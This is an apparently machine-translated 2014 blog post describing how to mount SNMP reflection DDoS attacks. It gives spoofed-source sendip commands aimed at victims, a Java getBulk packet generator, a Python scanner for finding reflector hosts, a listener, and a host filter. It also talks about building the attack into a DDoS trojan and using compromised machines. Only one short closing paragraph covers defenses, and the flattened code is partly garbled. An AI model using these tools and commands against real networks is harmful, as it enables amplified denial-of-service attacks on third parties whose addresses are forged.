Fu Hongxue · 2014/05/28 11:35

0 x00 preface


When DNS reflection attack broke out at that time, I began to study THE REFLECTION attack of SNMP (the actual amplification effect can reach 20 times). Theoretical research was completed in the summer of 2013, and later implemented as a tool. And then there’s the scale (weaponization). In fact, at the beginning of 2013, there were a few words describing the reflection attack of SNMP in foreign countries, but there was no complete article. Recently, I saw a lot of friends reposting foreign information on Weibo. I think, if I don’t put out what I have studied and brush the sense of existence, I, a rank9 person, will not survive.

0 x01 background


So much wordy, let’s get to the point.

The first reflex attack is based on sending a carefully constructed UDP packet with a forged source IP address to the defective target. Second, asymmetric information exchange between the host and the defective host is required. Generally, these two conditions can be met to achieve reflection attack.

0 x02 theory


Snmp is not more than the introduction, we can baidu. Snmp has three versions. The 2c version is the most ideal for attacks, and the 2C version is the most widely used.

In BT5, snmpwalk or snmpget commands can be used to exchange data with SNMP hosts.

Snmpwalk -c public -v2c IP OIDCopy the code

Oid is an identifier to obtain SNMP information. SNMP information is a tree-like information structure.

In fact, SNMPWalk is to obtain an OID information, but this OID is attached with the OID number of the next tree node, and then SNMP will continue to access the next OID number (in the getNext field) through SNMPGET to perform a cyclic behavior. However, as you can see from the protocol of SNMPGET, only one message can be obtained. The length of the message is 79, and only 279 feedback can be obtained. In this way, the amplification of the attack is not effective.

The key point is that according to rFC1441-RFC1452, SNMP version 2 introduced GetBulk instead of repeated GetNext to better obtain large amounts of management data in a single request. Corresponding to BT5, there is snmpBulkget

snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid
Copy the code

In this way, if you use SNMPWalk to run a 1.3.6 community word, you will see a lot of information. However, if you use BulkGet, you can receive a packet containing 70 information at one time, as shown in the figure.

And if you look at the length of the packet, you can see that this is the way to get the effect of a reflection attack.

There’s a question here. An SNMP can contain more than n messages (thousands of messages must be available). Why only 70 messages are used here? If you use more messages, more information will be returned and larger multiples will be obtained. Of course, I also want to do so, but SNMP protocol is not like NTP protocol directly to send data back to you, but through a packet of different fields to return multiple information, so it will be affected by the value of mtu on the network link, 1500 is a hard injury can not be overcome. Theoretically, asymmetric information interaction has been implemented, so the following is the link to send UDP packets with forged source IP.

Here I am using sendip this tool, installation is very simple, http://www.earth.li/projectpurple/progs/sendip.html

After downloading the source code directly compiled under Linux installation, which may encounter compilation problems, please refer to http://blog.csdn.net/figo1986/article/details/7336131 here

Now let’s look at the command I used

sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP  -d0x123456789
Copy the code

Src_IP source IP address, dST_IP destination IP address, -us udp source port,-ud udp destination port. The default SNMP port is 161. However, THE PDU encoding of SNMP is very painful, so I used -d hexadecimal form.

The source address of this packet is the address of the victim of ddos reflection attack.

See the effect here, for the next tool to pave the way

The last diagram is the overall diagram of the virtual machine environment to implement reflection attack

0 x03 tools


First of all, it is necessary to solve the boring coding part of SNMP packet PDU. The data part of SNMP conforms to the basic coding rules (BER). Here are three articles, you can fully understand the relationship between BER coding and SNMP.

http://blog.csdn.net/shanzhizi/article/details/11574849

http://yuanmuqiuyu2000.blog.sohu.com/72641116.html

http://blog.chinaunix.net/uid-23069658-id-3251045.html

For this painful code, I wrote a Java program to generate PDUs, there are comments, we are very easy to understand.

#! java import java.io.UnsupportedEncodingException; public class SnmpPDUber { public static String sumlen(String s){ int c=0; String r=""; String r2=""; s=qukongge(s); s=s.replaceAll(" ","+"); r=s.replaceAll("\\+",""); //System.out.println(s); c=r.length()/2; r2=Integer.toHexString(c); // Convert decimal to hexadecimal return subStr(r2); } public static String randomTohex (int I) {String s=""; int k; for(int j=0; j<i; j++){ k=(int)(1+Math.random()*(254-1+1)); s=s+Integer.toHexString(k)+" "; } return s; } public static String subStr(String s) {if(s.length()%2==1){s="0"+s; if(s.length()%2==1){s="0"+s; } return s; } public static String qukongge(String s){return s.replaceAll(" ",""); } public static String toHexString(String s) {String STR =""; for (int i=0; i<s.length(); i++) { int ch = (int)s.charAt(i); String s4 = Integer.toHexString(ch); str = str +" "+ s4; } return str; } public static void main(String args[]){ // tag+len+values String tag="30"; //tag Identifies the domain SEQUENCE type. String len="00"; String values=""; //values value field String versionTag ="02"; //version tag Identifies the domain INTEGER Type String versionlen="01"; String versionvalues="01"; //version values 00 1 version 01 2C version String Communitytag="04"; //Community tag Community tag string Type String Communitylen="00"; //Community Len Length field String Communityvalues=args[0]; //Community value public system.out.println (Communityvalues); Communityvalues=toHexString(Communityvalues); System.out.println(Communityvalues); String pdutag="a5"; // PDU tag identifies domain A5 as getBulkRequest String pdulen="00"; // PDU len length field String PDUValue =""; // Pdu range String requestid_tag="02"; // RequesTID Tag Identifies the domain INTEGER Type String requestiD_len ="04"; // requesTID LEN Length field String requestid_values=""; // 8-bit hexadecimal random ID String non_REPEATERS_tag ="02"; // getBulk Start id field String non_REPEATerS_len ="01"; String non_repeaters_values="00"; // hexadecimal 0 String MAX_REPEATerS_tag ="02"; Getbulk id field String max_REPEATERS_len ="01"; String max_repeaters_values="64"; // hexadecimal 100 String Variable_tag="30"; String Variable_len="00"; String Variable_value=""; String Item_tag="30"; String Item_len="00"; String Item_values=""; String Object_tag="06"; String Object_len="00"; String Object_values="2b 06 01 02 01"; / / 1.3.6.1.2.1 String value_tag = "05"; // No error field String value_len="00"; / * tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requ estid_len+requestid_values+non_repeaters_tag+non_repeaters_len+ non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_l en+[Object_tag+Object_len+Object_values+value_tag+value_len]]]] */ String tmp=""; int j=0; tmp=value_tag+" "+value_len; Object_len=sumlen(Object_values); Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp; Item_len=sumlen(Item_values); Variable_value=Item_tag+" "+Item_len+" "+Item_values; Variable_len=sumlen(Variable_value); tmp=Variable_tag+" "+Variable_len+" "+Variable_value; requestid_values=randomtohex(4); // The random ID is followed by a space. Pduvalue = REquestiD_TAG +" "+requestid_len+" "+ requestid_VALUES + NON_REPEATerS_tag +" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp; pdulen=sumlen(pduvalue); tmp=pdutag+" "+pdulen+" "+pduvalue; Communitylen=sumlen(Communityvalues); values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp; len=sumlen(values); tmp=tag+" "+len+" "+values; System.out.println(tmp); System.out.println("0x"+qukongge(tmp)); /*sendip -v -p ipv4 -is 192.168.1.101-id 192.168.1.102 -p udp-us 8000-ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/ } }Copy the code

Note that the loop field of getBulk corresponds to the -cr identifier in SNMPBulkGet.

Second in order to have a certain number of can are the reflection of the host, need a scanner to force, there will be someone thought of using zmap to scan, but want to know, udp scanning is not like TCP that you send request connection there is sure to return the connection, the measured many udp program as long as you send the format of the data is not in conformity with the he received, It does not have any response and reply, just as the IP does not open the related port is the same effect, SNMP also meets this situation, so you need to send the same packet as the normal SNMP request packet when scanning the specified IP, in order to expect normal return, to prove whether the IP can be used for reflection attack. I don’t know if you have noticed that Zmap just released the SNMP scanning module not long ago. I have used this module and it is not very good. The following is a loop I wrote in Python call sendip package program, to scan the IP segment, inside the PDU is generated with the Java coding program. The outgoing package listens for the port with a self-written Java program that, if returned, outputs the returned IP address to a file.

Python version 3.4

#! python import os import time from pip.backwardcompat import raw_input __author__ = 'qwe' class ipScan(object): def __init__(self, begin, end): self.begin = begin self.end = end def traverseIP(self): begin_ip = [] end_ip = [] begin = self.begin.split(".") end = self.end.split(".") #print(begin,end) for m in begin: begin_ip.append(int(m)) for n in end: end_ip.append(int(n)) a1 = begin_ip[1] b1 = end_ip[1] a2 = begin_ip[2] b2 = end_ip[2] a3 = begin_ip[3] b3 = end_ip[3] print(a1,b1,a2,b2,a3,b3) for o in range(a1,b1+1): p=1 q=1 if(o==a1): p=a2 else: p=1 if(o==b1): q=b2 else: q=254 for m in range(a2, b2 + 1): i = 1 j = 1 if (m == a2 ): i = a3 else: i = 1 if (m == b2): j = b3 else: j = 254 for n in range(i, j + 1): Ipstr = (STR (begin_ip [0]) + "" + STR (o) +" "+ STR (m) +" "+ STR (n)) sendip = 'sendip - p ipv4 - is 192.168.0.108 - id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500' print(sendip) Os.system (sendip) time.sleep(0.1) begin = raw_input(" Enter begin IP addr: ") end = raw_input(" Enter end IP addr: ") #print (begin,end) a = ipScan(begin, end) a.traverseIP()Copy the code

Java listener

#! java /** * Created with IntelliJ IDEA. * User: Clevo * Date: 14-3-11 * Time: Afternoon 10:09 * To change this template use File | Settings | File Templates. * / import org. Bouncycastle. From. ASN1InputStream;  import org.bouncycastle.asn1.ASN1Primitive; import org.bouncycastle.asn1.util.ASN1Dump; import java.io.ByteArrayInputStream; import java.io.FileWriter; import java.io.IOException; import java.net.*; public class udpListen { public static void main(String[] args) { printReceiveInfomationFromPort(8000); } static void printReceiveInfomationFromPort(int port) { new Thread(new MonitorPortRunnable(port)).start(); } } class MonitorPortRunnable implements Runnable { byte buf[] = new byte[1024]; DatagramSocket ds = null; DatagramPacket dp = null; int localReceivePort ; public MonitorPortRunnable(int localReceivePort) { this.localReceivePort = localReceivePort; } public static void writefile2(String fileName, String content) {try { The second argument in the constructor true means to append the file FileWriter writer = new FileWriter(fileName, true); writer.write(content); writer.close(); } catch (IOException e) { e.printStackTrace(); } } public void run() { dp = new DatagramPacket(buf, 0, 1024); try { ds = new DatagramSocket(localReceivePort); } catch (SocketException e1) {//prompt(" local receive port already in use "); System.exit(0); } while (true) { try { ds.receive(dp); // system.out. println(" info from: "+ this.localReceivePort); } catch (IOException e) { ds.close(); e.printStackTrace(); } byte[] c=dp.getData(); int c_len=dp.getLength(); String receiveMessage = new String(c, 0, c_len); String receiveAddr=new String(dp.getAddress().toString()); //System.out.println(receiveMessage); Println (receiveAddr); println(receiveAddr); writefile2("result.txt",receiveAddr+"\r\n"); }}}Copy the code

Finally, there is a Result filter written in Java, which is actually an SNMP information acquisition program to filter available hosts or devices. We can add more functions, such as looking at the speed of the exit, etc.

#! java import java.io.*; import java.util.Vector; import org.snmp4j.CommunityTarget; import org.snmp4j.PDU; import org.snmp4j.Snmp; import org.snmp4j.event.ResponseEvent; import org.snmp4j.mp.SnmpConstants; import org.snmp4j.smi.OID; import org.snmp4j.smi.OctetString; import org.snmp4j.smi.UdpAddress; import org.snmp4j.smi.VariableBinding; import org.snmp4j.transport.DefaultUdpTransportMapping; public class SnmpDATAget { public static void main(String[] args) throws IOException, InterruptedException { Snmp snmp = new Snmp(new DefaultUdpTransportMapping()); snmp.listen(); //args[0]="public"; //args[1]="ip.txt"; //args[2]="oid.txt"; CommunityTarget target = new CommunityTarget(); target.setCommunity(new OctetString(args[0])); target.setVersion(SnmpConstants.version2c); target.setTimeout(3000); //3s target.setRetries(1); Try {//String encoding="GBK"; String encoding="UTF-8"; File file=new File(args[1]); If (file.isfile () && file.exists()){// Determine whether the file exists InputStreamReader read = new InputStreamReader(new) FileInputStream(file),encoding); BufferedReader = new BufferedReader(read); String lineTxt = null; while((lineTxt = bufferedReader.readLine()) ! = null){ System.out.print(lineTxt + "@"); target.setAddress(new UdpAddress(lineTxt+"/161")); sendRequest(snmp, createGetPdu(args[2]), target); } read.close(); }else{system.out.println (" failed to find specified file "); }} catch (Exception e) {system.out.println (" error "); e.printStackTrace(); } } private static PDU createGetPdu(String path) { PDU pdu = new PDU(); pdu.setType(PDU.GET); try { //String encoding="GBK"; String encoding="UTF-8"; File file=new File(path); If (file.isfile () && file.exists()){// Determine whether the file exists InputStreamReader read = new InputStreamReader(new) FileInputStream(file),encoding); BufferedReader = new BufferedReader(read); String lineTxt = null; while((lineTxt = bufferedReader.readLine()) ! = null){ pdu.add(new VariableBinding(new OID(lineTxt))); //sysName //System.out.println(lineTxt); } read.close(); }else{system.out. println(" not found "+path); }} catch (Exception e) {system.out.println (" error "); e.printStackTrace(); } / * pdu. The add (new VariableBinding (new OID (" 1.3.6.1.2.1.1.1.0 "))); Pdu. The add (new VariableBinding (new OID (" 1.3.6.1.2.1.1.2.0 "))); Pdu. The add (new VariableBinding (new OID (" 1.3.6.1.2.1.1.3.0 "))); */ return pdu; } private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target) throws IOException { ResponseEvent responseEvent = snmp.send(pdu, target); PDU response = responseEvent.getResponse(); if (response == null) { System.out.println("TimeOut..." ); } else { if (response.getErrorStatus() == PDU.noError) { Vector<? extends VariableBinding> vbs = response.getVariableBindings(); for (VariableBinding vb : vbs) { System.out.println(vb + " ," + vb.getVariable().getSyntaxString()); } } else { System.out.println("Error:" + response.getErrorStatusText()); }}}}Copy the code

0 x04 weaponization


Sendip can be integrated as a module into the ddos horse under Linux.

Well let everyone disappointed, from the above various miscellaneous programs we are not difficult to see, I am a person who can not write programs, so ddos horse part silently ignore it, if there is a god will write, we can study together.

0x05 Limitations, Defenses and solutions


First, the packets that need to be sent are pure external IP addresses, because the forged packets will be filtered out after layer 3 switching through routes or special Settings (such as setting: ignoring packets from LAN ports whose source IP addresses do not belong to the local sub-network), and thus lose effect. The solution is to find the kind of fake package can send broilers, in fact, there are many, simple point said NAT form 0, basic can send. This kind of broiler chicken abroad or many.

Second, it was the number of reflective hosts that The Evil Lord suggested to me. This is a lot of, because not only some necessary Linux SNMP, in fact the Linux open basic SNMP is a network of machines, used for performance monitoring, more of the devices on the network, routing, firewall, etc., these devices from small to large, there will be open SNMP they belong to the bandwidth of the size will be different, Gigabit or even gigabit Ethernet devices are coming. So don’t worry about the number of hosts that can be reflected. In the above tool inside the scanning tool practice can be seen.

Third, defense methods, open SNMP host as far as possible not exposed to the outside network, can also change the default password to limit access, or change the default 161 port. Alternatively, the package that responds to BulkGet is prohibited and only responds to GET

Welcome friends to correct the problem.